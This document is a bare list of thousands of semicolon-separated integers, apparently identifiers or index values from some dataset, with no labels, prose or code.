91456;81710;62487;66281;54986;75263;29832;57843;70937;92829;52236;29704;27866;86760;58228;48292;43089;72070;44895;57194;54169;54140;102233;87536;65073;61741;51313;32974;34006;16537;106450;90865;40039;96065;19521;21323;22387;40806;41216;50623;84938;49112;54685;46410;96357;18263;104001;20199;20523;24964;68037;62235;53233;24316;53341;85584;36114;69302;49388;39739;94305;90167;50567;80336;96779;93293;21623;79754;20210;22725;72037;57136;68232;69451;33195;42230;62654;15044;48597;37914;30331;32023;40065;35319;64272;68527;106315;25837;25670;49410;55083;45102;87878;74563;77022;79652;28297;48816;32898;93476;80989;30713;20578;63664;52699;23756;102364;66037;36895;67436;64562;21355;42733;45204;73430;34669;54884;13389;11330;96146;100264;95802;102139;69221;101708;96670;72671;87819;44580;90351;13845;35351;72170;101034;40351;14115;69650;64128;25629;64425;106824;57734;27181;40816;102598;11196;51186;15481;89105;97318;93151;64790;87390;74650;57257;96630;58294;76110;76774;101151;46290;77405;96738;101581;40450;83706;74227;45451;57053;81307;16065;99722;55777;87392;14515;85138;86272;70884;67945;38403;62008;39905;64020;44275;76247;11528;39647;60767;37264;31565;12493;71343;93815;102369;13138;67623;43413;85260;79955;80343;15240;101427;74518;69004;80731;15769;106840;34937;50191;91258;103533;68048;24142;73909;87125;73830;15590;49217;62025;97681;42255;58696;33326;89743;73402;41774;81782;102751;97866;27233;97479;46224;75488;36841;70371;71064;84350;82164;93370;68371;85833;93401;69627;101643;33845;44199;31898;65396;64958;78806;92308;96407;76157;67903;25599;42444;36184;101237;72864;66864;37189;58667;51284;75011;16150;15065;80891;59831;18024;103043;99414;44138;53801;14377;51237;30558;22872;14960;96840;101319;86097;91951;24602;57775;104259;25205;53186;20811;25319;88545;30110;66645;58084;81109;28987;48897;78776;22572;28707;58721;23318;60040;82962;38879;23267;21915;88120;32383;83864;43199;12943;59373;96649;28150;67061;43289;29073;95835;40543;37130;14103;18299;10359;82472;90534;51174;50176;46752;75902;57974;15731;93529;97010;42094;92647;77763;43141;39539;19452;14596;77651;33275;46550;50876;13304;52009;35345;65084;89915;90431;42291;32302;76902;97267;66163;99799;68948;76554;82856;23750;100994;49703;10528;73214;41928;66231;64053;19213;89702;50512;72749;97603;45516;51398;92068;47304;103963;76876;66224;101411;71907;42045;19871;24740;99102;80389;13402;97270;30801;73242;102200;104473;71728;81633;61934;20244;41518;33496;96590;41279;78813;28270;49925;49035;72570;72507;72638;87100;89451;41247;43759;39535;72808;71461;36438;27490;15369;54020;29188;20785;106850;83434;53884;53373;73518;102037;78332;63802;44825;82130;91962;45731;68752;52228;43242;18184;97968;89185;15157;71462;26116;71434;47737;55180;18292;80676;36338;48315;31367;43784;77166;106872;69644;49802;94830;28193;77123;23598;64948;95425;84874;73998;33452;78559;71053;100619;87893;42759;107099;80452;37564;41554;17360;23227;73480;101073;18935;53107;90598;60808;76653;33738;95480;30024;39895;23355;103405;68424;43685;41053;88502;24059;75545;15943;88733;99013;47351;44644;36045;96270;69707;61899;54744;57435;36628;56392;30852;12350;72328;28933;101157;20612;82854;61219;58054;24916;69424;59416;64348;20498;36214;13258;39762;68570;15173;38317;102193;58860;54127;53978;38291;43186;20238;59895;89347;25959;28115;20630;63898;19847;99761;28481;41373;62151;61445;11401;91589;63544;97880;81856;50802;31016;70564;84933;104150;51517;88850;80706;78704;86109;96089;36177;24032;37316;77293;44196;46227;19400;25788;96994;99815;58606;66516;35231;81644;13243;67150;97736;83019;105437;70424;83497;14420;71487;37222;73758;75070;42072;99253;80672;77883;102092;47442;22185;21186;65332;13096;17836;22140;49767;86191;79440;65430;64350;106149;39505;93987;49578;33029;36347;65963;76992;24409;18038;77342;106903;87480;50524;89796;54450;54321;59580;50650;27456;41542;96528;10263;58704;86550;104433;54811;14428;87325;49805;63066;72461;52987;40549;57037;77964;68369;18380;25649;21670;61780;59562;51995;88725;67065;24780;59127;100847;95299;24590;93790;32270;40650;84145;46220;47550;77915;27413;104352;56414;74241;48883;62346;76991;79494;51797;89780;26979;81894;46611;24410;40715;12424;20766;72457;61442;11318;29149;67398;22859;86674;37480;106416;47365;59807;66788;67591;96627;40917;103885;12216;91246;73606;32465;26942;42677;72148;16118;51978;34891;20039;95780;94369;31579;200127;105485;103101;78326;30480;87138;48316;106979;39941;65965;96127;21830;51520;22056;32315;102538;94986;81889;54557;71493;60608;105372;10969;61264;59370;13316;95836;67749;54768;74420;59896;84310;94696;78454;89547;50263;44703;81751;95533;94310;65033;31910;75961;49089;31406;86975;104599;104292;66904;104412;100251;53695;95377;92701;39898;45560;29793;24949;15790;72354;97195;66199;82817;22247;24695;71580;83867;45906;11448;105710;32764;62469;52740;40927;36148;39728;85782;88162;62864;53450;46120;28696;68610;97807;75673;16582;52788;35133;30541;30280;20912;78756;69081;95049;84974;14466;82884;44988;55609;13463;52271;30859;93648;58495;56883;27460;102832;20957;45925;23811;100300;72996;25072;39587;101054;87128;11141;77887;94236;32103;55674;103249;95677;59474;24567;41957;36880;97831;102198;11899;59358;41654;82635;78245;39669;18746;97667;69020;107008;57380;28993;104644;102320;36782;23014;23021;52194;104717;79103;18683;25489;73716;64215;29111;20667;97523;92230;82806;39338;78924;63921;91483;33282;30938;45573;11732;37403;100956;59517;65660;93510;24575;30700;27317;103907;105845;86544;80498;41344;11531;56196;51687;94548;11462;54113;94635;18602;49639;38633;10586;87920;85800;18174;85461;66047;10153;53118;76985;37831;46817;74418;71629;86086;101702;68951;86188;18640;51559;32216;83816;104426;57052;81131;36039;52085;87859;104624;43431;39152;89681;40080;80527;41520;75984;87584;21178;96817;47523;21417;80659;102619;89043;21717;92670;64090;95032;91393;100630;72606;81829;57416;80827;23264;46738;37611;27938;66115;59574;33539;75609;63944;44350;10579;46988;58946;64824;62809;72883;80534;64164;13289;97879;16845;89639;84516;39843;47150;73181;63301;40316;51561;68159;35082;68958;93992;73309;49793;89244;62754;53092;14371;83693;45765;20534;105736;56613;84793;50260;28565;30325;19215;100131;26355;84286;72610;77745;39973;26647;106362;42824;63579;41598;51704;58940;84454;18306;54447;102282;50685;103473;103576;88061;39254;27857;81389;89053;50782;25759;41746;41196;65005;93757;100752;84484;82637;58747;28737;28524;88442;57710;34080;86603;84899;82285;32759;81667;45523;72159;35697;99496;64097;102686;29637;43316;75506;24302;11497;72388;91545;28638;53293;92452;103161;59995;33974;12699;18044;31324;25913;16865;81133;65955;62749;46824;60998;82432;93014;106629;89886;34180;60613;67736;72377;39066;34884;69482;97108;102545;80696;86574;68411;67688;89200;74926;102361;43237;63458;61595;95396;33701;53759;61376;100529;18165;58174;80464;39787;46225;99704;20422;96696;68732;25664;96018;82713;85670;32544;16387;89089;29089;65186;90774;28835;100377;78784;48945;53659;39207;90438;50373;103525;77340;84323;94759;70387;101725;89408;54823;60830;48748;14870;14239;74055;40463;65036;29624;90572;38168;101025;47805;33334;79532;55393;47450;47258;64591;54716;68067;37331;52735;86951;78337;48731;47047;82493;18775;35619;67254;53264;28039;72512;64152;15457;86999;101260;20959;49517;48707;11852;15787;94423;18402;28941;26723;28076;34311;79711;79566;52906;95919;15935;26913;30939;94173;74220;21761;58401;45983;102358;46771;67982;46651;82657;33129;97386;45370;30909;105167;59449;32327;27659;13617;80276;52629;65991;103286;74584;87935;107030;86926;72632;39151;32088;43872;78839;53466;46987;25747;49303;62723;102436;18586;83644;86600;79952;11463;29597;62465;72552;88867;97964;54861;40982;69263;200134;26521;22703;60678;60245;21783;69534;53059;69325;93679;50142;79431;34943;87078;23045;105682;89964;86722;17998;62308;91629;71748;85122;84613;49906;39756;10309;12293;80994;84686;40875;58761;16854;103586;33934;102354;52335;33398;59436;59003;97531;97217;52342;24236;63107;65590;13241;21810;56870;82813;17813;70680;23245;84311;77377;94010;87674;50018;50622;105221;50726;39347;105672;51541;46524;84019;21241;84994;86799;54891;21861;36991;74906;72251;47586;93400;34129;13698;36187;31329;64715;31493;81218;101769;66822;91019;10507;101934;70649;23995;55803;25652;90949;57731;106051;12336;86496;11292;28133;71718;60683;80047;82364;15975;77104;57609;14943;87139;65252;83055;32474;84709;43917;96651;94894;74439;15971;99812;67597;80578;52720;95353;53151;72479;55102;66092;56043;100503;26556;29780;31285;47106;93775;12446;79579;91582;54038;46040;39120;11077;86708;64953;45121;78976;37006;32813;25367;101511;38444;81456;69486;15654;85500;12714;26471;97045;91596;26914;65521;79941;52366;95303;68637;97377;16395;93007;55051;49389;11259;20275;63999;38223;70170;83170;40214;26832;90292;47907;84288;65761;31894;94153;11117;79404;106448;84941;47599;87202;101938;15987;16060;91841;52966;32924;28605;51619;19463;87707;73856;72344;94005;102484;32101;45192;103478;22885;81516;55664;20004;33972;88609;65923;61367;62145;26742;80418;93377;56296;74254;99177;60431;67864;72001;29115;59107;46017;92089;54766;42489;105530;42371;87280;103518;87835;87991;55367;65882;63852;16063;84200;21009;97194;63755;67310;10361;102666;62298;95717;52090;96918;27159;40423;44726;87973;22302;86668;20887;100270;49211;14468;103873;84840;78691;46627;58514;70347;93404;58460;26167;88793;66058;62046;85037;106738;48784;41624;31964;105285;11094;57686;103233;84435;68141;12255;76940;15347;69354;31696;61449;73071;85107;20473;35379;33543;10985;41608;19785;69827;88528;32758;91337;78346;21213;17427;88724;31989;88557;102293;102465;55834;12667;57054;18608;106058;18519;105724;35415;49581;48491;17741;76894;82243;59209;44941;104986;47311;105014;102610;81160;70188;12571;86772;92360;94046;49920;13051;59504;44513;84757;16184;37479;100018;69198;26059;61569;12352;34370;81186;86183;90844;58489;75990;82366;53999;46537;31772;56049;97533;30659;20148;14699;41222;81316;20696;13306;106367;80340;95938;41859;31358;54394;11819;103492;88934;93549;46766;49853;101695;94056;54455;93150;101627;43807;14652;43985;39396;44949;97630;26441;62525;62506;52862;102847;94735;53098;22263;68504;29984;34318;200108;84452;76848;91367;47344;99035;24245;74302;100126;39016;13529;80555;25151;81761;94471;21913;49197;78773;62158;34876;28973;43723;79174;82508;33677;81169;63677;60629;43470;97062;38891;93163;41132;75041;39185;95313;95841;63162;76746;51763;66661;92204;91027;104943;62766;83456;106238;62167;52724;83393;76196;16599;29532;83621;89212;105316;14597;41197;15793;99687;52855;104783;15514;52885;103628;78666;51531;25218;83552;82886;52998;48845;46031;40123;105929;19530;30328;44421;76791;68328;46826;13172;82450;78093;28302;80088;69159;39364;31281;74373;68849;52070;75531;61222;78405;44316;82282;53201;106500;20674;80158;92660;89378;83742;86537;43164;71572;89455;89236;39840;77421;46700;105443;89114;102582;74989;57997;95562;58064;81681;93559;73106;56622;104397;105950;90183;16880;95365;106810;93592;57919;50314;89922;60284;101862;73697;99483;54800;92561;97048;77816;88147;91388;43386;61045;35281;15795;47668;21698;27921;26668;38667;90801;69291;18000;15796;49073;74044;29754;47181;82638;85443;72687;56355;24025;100796;79643;77865;68102;44073;15984;73507;30975;41953;77298;80988;50087;15617;49885;60590;27353;66957;97180;69894;79735;100874;46371;42647;35479;92151;22589;22207;45890;45911;23113;84872;63199;37572;87371;79917;53217;86801;40792;85434;57221;33107;41637;59394;85386;17451;56808;39139;26137;44732;45634;52760;65804;61416;46658;87626;14125;22752;22901;34724;31971;54721;94191;74043;53298;34036;68292;61387;92175;79790;102874;48870;23540;40945;96228;101619;67386;49315;41652;72418;62676;59041;68497;71554;80917;50905;75674;56081;43006;27038;61743;68616;70924;58706;81748;31854;67039;22020;20193;83176;75647;93984;103133;106020;39771;75949;10440;49603;69029;56452;64510;96530;41109;27293;102347;82275;52557;97392;97582;86635;68046;97762;25368;99054;54062;72555;18068;90632;11080;78586;70475;64734;38225;87276;17186;22782;65829;49072;74025;55896;100817;45789;87035;82839;38800;101515;84250;89632;58652;54528;21198;106311;52022;51970;94197;61466;37608;13932;57415;96154;73378;10703;97423;95769;61807;105371;103779;53500;18198;45309;18733;53245;86661;77617;61311;71251;14147;106210;36400;92016;104451;97427;85057;82653;94435;82355;42359;32807;19308;48214;83459;31163;43986;93936;50530;77193;52302;29405;75923;26304;89693;79354;81635;92465;86125;97886;68618;82542;94183;105464;53231;39458;45791;32393;91654;76441;75278;73492;22437;10747;26484;30808;107033;64396;28637;37000;43514;32530;78533;12479;55421;20226;36783;86317;61048;56424;90455;10915;49983;49350;30709;33501;34429;93784;47608;106207;51270;71843;11138;87563;32990;41115;42526;30745;51490;97035;76584;81611;99381;61981;29063;105937;70593;40605;75423;24984;22490;15730;50069;68775;72962;46466;41096;43990;85868;52561;100372;36015;59214;37408;91916;41331;46181;29003;20893;32733;104335;38440;99866;68374;22159;94978;39096;41208;55970;88500;44005;51184;39324;33622;43401;40083;100675;104177;103321;27890;69166;70998;97815;79920;18007;87116;11192;47182;23738;51805;12604;24101;102570;36685;50976;62689;40977;12505;30706;11451;23160;52007;33156;81719;89760;25439;104367;71530;14348;74142;105073;89615;88596;88760;60266;42256;51827;82425;31682;61756;49610;72915;43382;24943;77516;57559;93755;80294;71504;33978;102841;38465;42895;74475;13105;50194;33757;61858;44851;14230;72025;100977;77423;51634;81280;18247;52311;45552;102986;66240;48446;18014;28691;53783;79083;84569;92098;100000;64304;57173;10971;104323;51698;12913;16302;16805;82221;40923;10844;84206;93649;101615;29915;88785;73362;95967;57165;41281;19601;12618;31707;73397;69335;79171;83611;107106;85141;47478;53317;21016;64008;50349;81650;106972;58587;24645;52698;15295;21873;35490;91875;22551;69402;79295;30698;42406;71096;65055;25093;88851;18016;49359;45741;89940;24566;38347;40548;29493;78506;81687;78052;44899;90889;11156;33775;91919;101258;46330;70468;68544;58281;76446;19986;12421;45763;13622;21661;105515;107003;74003;53942;60726;21232;88398;59351;12804;40710;31342;13914;52038;42670;39190;11645;102884;45936;68762;53169;28719;51639;88390;95910;33984;23090;50295;38939;19953;19342;93777;66997;88933;50754;99882;19302;71036;86627;36951;75021;18940;62823;13182;53297;21754;18759;56138;43355;73727;76703;78390;71602;23138;86891;35908;106122;95703;41254;58200;16232;39516;12934;23984;28870;56618;37865;18482;101185;55250;54108;72618;39079;89916;76512;37716;10387;52054;87598;25617;73065;51044;73117;75458;71141;42459;51555;15022;65707;49392;30196;91546;104463;81642;53855;53774;100642;106787;61389;88034;12521;54243;62737;51086;62445;57882;90158;82924;100965;42777;105302;11765;67598;63201;39327;16532;39660;35892;16192;26725;83874;39083;26538;56504;57830;35588;21572;23944;32566;63700;105563;75441;66453;36758;24960;68227;83004;29931;35130;89921;80751;101660;51478;66527;24218;65331;40431;92957;29750;30153;80473;74573;21489;50574;47089;104920;18601;54112;99469;93383;52058;46145;97060;20945;11895;97791;62119;73892;42927;39519;16094;31768;45020;19051;55483;97996;13935;86084;106081;94809;82959;31478;85683;12873;21008;29083;75495;27754;91690;43804;18690;82320;61178;92167;32109;104059;43640;96995;97013;100185;93011;46332;106736;51554;27961;20594;18648;67849;92932;105859;20617;67713;37515;89701;82023;13083;81821;54132;97509;85524;88419;41600;42163;82372;26815;27322;63847;40392;68796;79905;105400;21156;12091;89533;45859;78128;15299;93300;13784;52210;46882;103805;17796;74888;95694;70669;22696;91732;54386;96580;87268;67659;82748;43396;56753;71219;43037;48449;31930;80517;79125;82755;56707;61896;79962;57453;84450;95651;60616;30910;51608;78706;91958;93882;57754;14911;36925;25273;79106;21512;94503;42340;32739;73225;87615;15186;21867;89281;97570;55564;61452;22567;10308;13410;96766;16161;70158;42625;17683;38130;61233;10069;97177;37582;100520;24263;105408;22318;44495;33693;54896;11595;34062;52898;32053;31391;67531;101752;79068;51173;91130;30604;63829;66856;42473;59593;76534;14882;84860;73813;56359;49766;81089;75848;69176;61816;106219;43021;14526;54292;83231;29546;73981;66784;11385;75997;106350;31021;101414;83756;37728;67901;55249;46994;22405;51338;13107;86316;88751;97024;95647;71417;44618;53847;36298;101946;76588;83852;12349;103798;22533;63654;49420;99288;13879;56860;85780;33295;92142;47773;81926;32665;23049;62773;57493;105841;36077;22967;79283;79872;85070;35905;97820;45584;22832;55296;79217;93075;67004;44547;37883;62604;30683;44910;39763;100758;92497;54487;25399;13419;45392;29272;55747;24151;59479;39074;35653;76475;44484;105611;70006;96924;61665;48546;37721;31003;40573;66494;85940;65646;56979;92582;80019;22107;59723;36306;81886;49781;35200;24185;74359;10562;37413;85009;44479;78078;80415;37307;23610;39544;24124;30193;38774;25569;67851;47646;87865;53672;63106;104134;35275;43085;48188;29993;21788;39071;88678;41089;102649;96205;42370;45172;32048;39855;25631;10321;58848;67927;10121;103115;67445;27536;19012;69789;39620;45325;77851;46734;58175;45319;106800;66433;31442;26078;96936;104747;61127;51961;24031;34191;106289;94950;81235;105844;18047;75487;53429;62976;64837;87143;54808;43941;72115;25381;71049;57968;77799;66792;57970;103590;66750;99640;11815;14408;69847;93502;85644;62099;33508;18117;47729;42838;71119;88945;99416;33697;29168;50251;75887;64815;48898;82281;38996;102511;16946;101626;77148;52065;65182;40198;61904;73656;80938;23597;80734;41944;83430;81527;61213;105681;59086;86052;106779;43734;48591;84549;23385;22029;56428;34424;80730;101979;16348;70755;56407;49346;33548;89939;17272;20962;26861;99999;14396;39433;93608;23527;62652;64447;54500;21286;53176;52460;70394;61050;23879;96856;100075;65494;103595;106784;55317;64260;23234;100316;90338;71663;81991;27843;90979;31519;93562;47288;73975;74320;71475;80979;73208;20909;70585;41833;70600;35024;102915;93211;54976;20428;38739;66082;105873;19792;40386;76925;50216;26142;76912;57656;57454;76858;71497;54527;71583;91066;89178;73666;104896;48402;101075;31858;17290;41986;62253;13327;49032;79430;35369;21046;102408;53531;67673;80293;77381;34662;24277;60685;56823;50403;34454;45337;85177;78496;93941;11748;104652;26709;44020;73446;15750;102252;23525;200097;39683;59024;55425;86663;90789;74591;58899;74713;45215;91792;106308;73190;61683;69306;19524;20906;88991;45815;53318;71787;56023;40772;50542;59628;63103;14757;44793;50859;10492;40364;64496;14979;51739;20090;88675;26364;62489;40774;23689;15076;48891;56186;47306;32336;19419;78866;85774;30958;66960;79960;77441;81671;20856;32312;52469;44721;33402;51758;15998;91515;94449;53021;78000;33217;53716;55617;14761;56002;38956;46725;79188;41810;55831;82676;86036;29212;87848;69747;54660;30763;53941;103842;32047;80022;60806;57915;63407;56729;56760;57331;15548;42780;43466;95423;37881;90841;80632;64502;56724;36240;39720;93771;67951;57566;44413;87296;97295;16594;50356;18565;44969;12510;99481;44928;61540;34306;101434;35783;81255;37385;105718;34325;79600;75822;47838;29195;36223;62468;74661;99654;100397;26646;56888;33752;10659;60992;71013;47871;17024;14380;12614;51614;37433;100228;90128;80100;25142;38981;66963;45431;15841;99686;49743;96160;56219;34195;54253;102999;80747;95720;60624;26863;51840;53028;34012;100467;94316;27565;70950;106755;44777;10871;47652;47748;85844;94816;71559;70471;59420;47213;35477;32941;12321;71001;68041;38732;69227;101941;54964;11170;104973;29556;30167;55552;64625;26911;17225;19922;71812;67075;55377;43293;101646;35922;51354;80567;72183;95294;75154;14197;58106;47209;44155;34597;30964;62891;93186;20326;79010;94576;15579;96993;105126;37216;21222;88402;33781;87907;100545;68030;59126;64230;90291;55766;32435;17238;77958;40174;80980;77701;107115;13146;87308;86232;13073;12016;48178;37518;55227;65959;27195;60627;65749;72949;38591;36917;101463;55443;79107;97482;89246;55709;20276;80359;95737;61505;106424;70806;82569;92408;43342;78485;10324;92995;84410;69450;45962;28966;29234;101757;58969;22374;35942;85054;14350;29617;60650;17824;32638;45838;73893;17218;38112;80420;68415;14593;17982;102179;89269;100996;20654;45348;106509;56268;58372;83948;88653;68395;92791;63562;99790;59639;72700;69901;101666;89507;22568;88825;81935;10661;35649;80960;78563;45947;65560;78139;47666;67740;31063;49193;37134;105419;85976;93699;42337;81604;13795;78420;75280;73332;49332;94566;84365;20493;84079;83744;11641;54303;36849;21707;94039;42103;28703;42980;23191;73145;30792;60106;99049;99190;39920;23579;24224;47866;46948;34213;59599;60033;78800;30982;23687;16834;102700;17456;48976;52077;68921;82385;93580;20618;39574;68412;49316;63798;86633;48934;18295;91182;49069;13357;48318;34150;79432;79564;40109;22104;103815;67805;81963;10031;68410;94913;86193;79621;47158;25945;50064;70664;200038;105079;100027;58811;59452;16953;65842;68970;62942;20604;37862;71671;66802;22615;106366;21675;66514;12830;101128;34391;70949;80079;89152;80414;107006;99060;58779;79433;35730;71157;23707;35132;75249;72473;74955;95322;76684;69316;56305;86057;99135;22639;42070;60243;88965;18659;82375;40000;75125;55743;90723;52289;99810;45988;78763;26570;20303;32814;83678;84440;64516;52955;97329;69055;17269;24054;58775;45502;32628;30733;68824;17999;56244;66764;80828;89885;88426;45327;41765;56824;50631;15385;97655;84139;59958;95298;52301;54832;49854;39534;11750;105329;72164;36236;67842;31008;58493;70067;29725;21443;50768;44555;34991;23688;78607;94026;69805;21801;30320;63817;32432;100641;59026;21820;95920;12387;14825;51566;54090;65672;36385;80237;89976;36316;103325;24413;200117;52709;40704;51640;49220;86640;66953;105936;22170;78956;57956;75152;69345;17452;19541;77171;74905;35154;78848;99451;84332;84854;56995;83503;27461;63426;79369;65974;27959;71187;106826;29670;30378;101187;27790;84592;107141;49084;87574;75158;48162;32016;35119;36132;74902;105931;50454;83724;87294;77510;12127;68414;26578;97034;78448;42231;82822;102072;91879;46446;33786;11766;200005;72839;95924;40895;48189;72155;102260;13319;104050;58839;101986;99714;51289;93708;81350;50807;78285;17131;24484;39758;30563;49957;34691;31384;105596;105919;71781;80903;76401;105007;35338;103686;10162;63331;92910;106178;43922;84795;28990;11422;104278;12386;37165;70447;97232;73229;87916;70799;89373;103474;47374;41558;94649;51362;20301;100219;92646;39232;27455;75823;68032;64437;53839;99944;82264;50670;84649;26399;47183;23658;79839;85120;44802;74139;74031;14613;96935;88999;95766;21396;16215;45008;25036;82399;41961;99546;44291;78877;52275;27845;89430;40631;76804;70135;69807;95407;83619;21706;54953;11509;96527;80595;89842;21729;54985;75691;67628;77746;50662;51075;60342;86251;73648;22298;24771;14374;21778;65423;12871;15760;70888;75187;45307;66488;23395;49961;79847;14311;80306;97453;80970;18726;77594;52570;33767;52791;103582;90726;82603;78167;38475;32967;86738;55448;63166;54063;97338;86817;93141;54185;37391;21182;27416;72505;62409;103392;69864;42896;48160;27822;31208;92773;95027;74768;72837;55576;26443;90591;24961;23067;70248;81598;20040;95944;16213;50783;49384;34556;40871;61072;67424;78468;80161;12476;102373;95598;13701;97175;77023;45717;97456;29922;61598;40863;43676;70224;44011;35124;106805;74347;16745;66250;63732;64994;90530;50965;20001;61006;99019;26124;76780;55877;44014;10674;61488;105793;63976;84658;34390;89335;46610;99024;27359;68707;36654;104431;24246;101895;76846;65386;24627;19774;24230;21282;43339;61362;71207;10329;20061;46298;53440;89493;46557;42710;58205;13665;91259;89676;88444;58022;36695;79096;82142;10443;99513;47000;96760;59590;48144;56134;89659;74979;50134;89037;13631;72713;104148;104146;87569;71152;80295;81312;20886;92427;91883;61137;77250;37767;96879;18082;83362;21141;41014;96946;68449;61848;33552;18357;29982;34652;75204;65470;86934;93197;38261;16428;89353;29384;11366;87353;96700;94453;91721;93979;46409;22233;41359;51111;44927;82398;79570;57782;52063;81724;71848;90271;22595;29389;83925;31062;43232;12263;94081;95942;63026;73964;53686;37644;15733;69121;105097;32222;93953;74493;41939;65090;104080;100740;80791;88130;88127;71171;55667;40825;101863;47769;102020;101481;106348;104912;17106;33119;90712;87870;101372;102265;55198;50303;18159;66471;83587;11112;32703;63754;79230;28017;85478;33578;63721;89464;15847;69589;10986;72812;24716;66791;37629;10469;97839;40662;25689;81377;89270;85253;24489;26671;86586;97698;94437;70783;43425;42042;21626;67880;28888;43041;100550;18336;25073;72369;92694;19292;22959;57857;42939;42270;30382;43346;17175;15717;77924;74120;102879;49263;100391;25299;78768;14076;32433;84406;28965;27103;52967;30920;70915;91277;39715;92690;71344;20201;100879;94252;70753;18598;105930;28536;81019;46291;85959;79678;20958;19899;43068;10639;64427;105248;105669;18583;81396;48936;74714;23492;37512;96374;19174;71961;22785;11791;78325;38116;71329;59418;48828;56133;81202;12406;64942;88172;72237;99566;46878;78612;86753;103764;35997;46956;55209;50931;65208;70710;25806;33764;54341;48882;89800;64871;31563;30930;15653;106031;92241;19276;38148;40619;69388;61585;47639;19479;74724;18853;60143;24113;90270;45866;57588;42166;74968;33336;84049;41756;24604;34291;26927;93927;67282;43931;24412;100113;42843;94574;96030;19300;97056;77392;60246;89651;66641;47201;14889;19250;10078;106913;19568;100394;101669;88111;77451;20698;93808;75338;92361;45118;72929;43976;43948;11670;81950;99986;28787;96622;79731;93803;74720;25212;54499;35076;16655;32623;66690;64294;82438;37452;103253;39637;40062;40407;59218;40981;69385;40992;88645;43650;45839;18852;38129;76964;44069;40915;90867;44532;10295;23224;58531;101018;27146;92357;68236;103543;52550;54747;105164;97779;75389;67375;52900;41709;14196;43051;40432;94106;92347;59999;30266;49884;72371;84123;100148;53936;66540;25490;71703;47521;63335;68573;15519;83920;53259;49255;86136;61697;81426;54799;78439;77860;77665;40506;47654;20330;93572;31660;30391;10388;80479;104945;86645;75295;95697;16026;85023;33717;14438;47435;54786;48866;104500;66482;29295;47169;45148;39921;78855;21614;22812;60173;17974;34432;89558;63161;41046;70014;30163;45316;58907;23140;46553;50413;12542;87117;75240;107074;11757;79539;38483;55193;41681;49948;60406;72319;71412;58367;17286;47776;81035;45128;69939;100337;84178;43340;28866;72758;33177;28891;93334;11751;22855;23499;39588;78414;103162;83950;41533;41120;13421;45567;15401;38302;11717;19539;18886;62669;50853;87001;77940;21782;64277;85167;97979;10340;85066;47423;16033;78359;30576;73053;57073;65061;81488;74872;20819;50082;74947;38335;32782;71172;55862;30693;102705;59684;33449;26398;38729;74240;88938;62596;89116;103504;80745;57964;105352;41134;33830;21478;89466;32632;56021;73137;59190;69502;32011;18607;103512;78345;43627;81395;12747;97127;56051;10422;31901;24665;20941;62321;84615;60513;62704;65916;61725;27820;21624;51883;65510;19370;86424;39645;87275;94712;71102;11334;35513;49210;63192;16461;46381;63782;101899;84138;81764;62633;16234;26372;43266;32889;106933;59952;105925;67095;49732;32508;40503;67141;80705;24799;59547;47841;50791;41679;21505;15397;89859;14894;100290;103394;35049;71473;41438;28366;89769;24816;18958;11584;89054;16013;55736;91300;33001;32875;70733;100411;69924;104145;33054;42017;67870;67854;65969;40292;90056;82080;52519;44656;104555;14501;88105;97163;80940;79467;38717;12219;11081;92958;82511;31349;24890;86431;63580;38269;45996;60880;32292;71492;14566;79770;21906;13522;80681;77468;60827;100226;100149;79503;42696;37983;17178;33728;76772;74746;40042;104632;27812;67533;99679;54211;82670;55905;82506;37754;64245;84953;41062;70386;89078;103638;66268;49731;107112;69948;30836;67127;91938;63491;81437;11500;103305;78683;99971;32634;92093;43515;77726;47880;68701;61973;83423;25582;22672;20372;79365;21261;51221;89505;53859;58864;72766;28163;23519;16332;61161;69545;80183;16586;105730;90215;101275;33571;13399;104091;103430;97416;23472;67419;94984;10367;84634;72821;92026;99792;61830;85933;61568;101203;48199;67809;16524;69714;92404;87022;95527;89894;74236;28428;93890;16000;59121;86719;53873;82008;65113;95638;96618;103550;57984;28731;101949;84144;19669;59780;100589;75329;30725;50459;49265;105562;36247;56278;15136;70952;11203;15306;77723;49198;93813;15204;25497;67836;106411;42019;26037;27406;102112;63101;85662;67605;39161;107014;14243;17515;12689;61330;37529;59690;82498;20317;53765;81809;33462;82421;31050;71716;99322;101681;53516;67080;89715;57890;91512;75083;14516;75843;78267;50104;33695;96976;35732;42196;50368;67834;105657;68868;17256;43541;51926;25717;73292;77853;40474;73206;45827;66278;42363;72999;28427;73927;91786;106483;23506;91671;39449;84461;90716;89675;81776;66109;46384;64291;45111;10417;92399;24265;105184;84868;74679;36731;40059;74030;73605;76864;38114;73611;28225;81553;10618;85840;103306;58019;94053;38685;91655;73894;66995;80457;29486;87738;32019;39006;45593;11118;35487;41584;101877;103997;55067;105520;11857;39030;43348;95392;46128;200110;27681;92820;104541;92143;93863;28438;55700;71275;50794;33708;87326;96663;20813;75588;86699;50086;91965;49052;68869;85347;100066;85241;55242;74135;27020;89544;48285;105858;76847;78575;35354;76950;42749;80159;18181;102837;102905;44471;85293;97402;61571;61060;64677;31808;80124;29537;101284;64983;23005;19954;103170;93949;35434;62646;32830;88012;24324;43874;22121;80354;82019;18243;32397;41920;31114;62182;105172;59556;94091;65983;69702;46362;80680;89845;90630;53755;15392;99520;16027;82098;15379;77571;21851;51274;85694;59038;88041;38722;74637;26415;85848;72321;97280;82844;23881;101903;71229;23453;58426;11062;10829;13560;70507;106458;93998;86741;35363;100434;15348;14986;28553;55521;71765;76597;18501;68008;25840;33327;12964;80397;46255;69378;92409;44423;77222;66528;12496;24508;48791;104361;51379;74506;103038;67453;74049;62552;97628;86087;34425;46636;39379;19626;56859;48626;85797;81200;47531;103501;90256;53866;51190;29553;41214;200034;14799;85053;99226;38155;83671;19450;22860;94391;47477;46354;71097;32318;55342;104777;23757;70874;34628;82116;33362;79535;97483;29540;41243;59598;14110;80576;91920;20613;35702;51260;43188;100248;34458;75173;37492;59129;97676;78953;91405;73391;36607;11602;14794;32417;82137;48730;46980;10962;72607;16639;18868;54708;56210;82436;24164;89099;78992;22920;92451;55848;24782;63036;72423;86313;27983;87519;54881;66434;101271;63667;103749;86832;106189;81017;75331;10828;40725;87085;72945;13545;78383;96922;49562;18071;42218;80423;87142;69059;12474;40967;14172;73524;17231;34205;93338;93273;10193;65139;60009;106378;13057;73528;102002;94146;103212;42956;13324;54601;26461;35032;82836;31506;85414;53732;49307;11381;58377;49575;38070;104579;65089;84412;30479;28016;81621;44503;66404;41596;25389;56050;76449;60804;65729;26223;77385;34269;45823;55731;61919;84194;93420;66916;60996;93586;26886;41685;65413;106681;72139;32128;11102;72701;42424;43383;40176;78636;83823;52137;58023;106567;22698;99685;41427;71378;51902;96028;105527;85832;86639;81815;25149;65035;31113;76317;59224;36988;39723;43833;51057;54991;78812;50798;50614;82986;79774;